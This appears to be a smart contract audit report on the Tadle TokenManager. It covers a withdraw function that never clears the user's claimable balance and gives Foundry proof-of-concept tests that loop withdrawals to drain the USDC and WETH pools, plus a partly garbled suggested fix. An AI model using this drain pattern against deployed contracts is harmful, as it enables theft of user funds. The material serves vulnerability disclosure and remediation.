Summary
The withdraw function in the TokenManager contract fails to update the user's claimable amount (userTokenBalanceMap) after a withdrawal. This oversight allows users to withdraw more tokens than they are entitled to, potentially draining all contract funds.
Vulnerability Details
-
State Retrieval: The function retrieves the user's claimable balance from userTokenBalanceMap.
-
Token Transfer: It transfers the retrieved amount of tokens to the user's address.
-
State Update Missing: After transferring the tokens, the function fails to update the user's balance in userTokenBalanceMap.
Function in Question
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137
Proof of Concept
Overview:
A legitimate user can call the withdraw function repeatedly to drain the contract funds
Actors:
Working Test Case
before test work, we should fix the issue in my reports :
test with erc20 token
function test_drain_contract_usdc() public {
address alice = vm.addr(10);
address bob = vm.addr(11);
deal(address(mockUSDCToken), alice, 10500 );
deal(address(mockUSDCToken), bob, 10500 );
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
10000,
10000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address aliceOffr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
vm.startPrank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(aliceOffr, 100);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
console2.log("Balance of alice before attack : ", mockUSDCToken.balanceOf(alice));
console2.log("Balance of contract before attack : ", mockUSDCToken.balanceOf(address(capitalPool)));
vm.startPrank(alice);
while (mockUSDCToken.balanceOf(address(capitalPool)) > 1000) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
}
console2.log("Balance of alice before attack : ", mockUSDCToken.balanceOf(alice));
console2.log("Balance of contract before attack : ", mockUSDCToken.balanceOf(address(capitalPool)));
vm.stopPrank();
}
test with native token
function test_drain_contract_eth() public {
increase the tokenPool balance to simulate the case where
there are many user collateral in the protocole
*/
deal(address(weth9), 10 ether);
weth9.mint(address(capitalPool), 0.1 ether);
address attacker = vm.addr(10);
deal(attacker, 0.019 * 1e18);
vm.startPrank(attacker);
preMarktes.createOffer{value: 0.012 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker{value: 0.005175 * 1e18}(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
preMarktes.relistOffer(stock1Addr, offer1Addr);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(attacker);
deal(address(mockPointToken), attacker, 100000000 * 10 ** 18);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 500);
deliveryPlace.closeBidTaker(stock1Addr);
uint256 userbalancebefore = attacker.balance;
uint256 contractbalancebefore = weth9.balance(address(capitalPool));
uint8 i = 0;
while (i < 6 ) {
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
++i;
}
console2.log("user balance before attack : ",userbalancebefore);
console2.log("user balance after attack : ",attacker.balance);
console2.log('================================================');
console2.log("contract balance on WETH before attack : ",contractbalancebefore);
console2.log("contract balance on WETH after attack : ", weth9.balance(address(capitalPool)));
vm.stopPrank();
}
Impact
-
Unlimited Withdrawals: Users can exploit this vulnerability to repeatedly withdraw the same amount of tokens without any limit, leading to an indefinite drainage of the contract’s funds.
-
Depletion of Contract Balance: As users continue to exploit this flaw, the contract's balance will be rapidly depleted, potentially leading to a complete loss of all funds held by the contract.
Tools Used
manual review, foundry
Recommendations
Modify the withdraw function to properly update the userTokenBalanceMap before transferring the tokens and revert to initial state in case the transfer failed. This ensures that the user's claimable balance is accurately reflected and prevents repeated withdrawals of the same amount.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType] = 0;
perform the transfer, and if it faild revert to initial state
*/
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}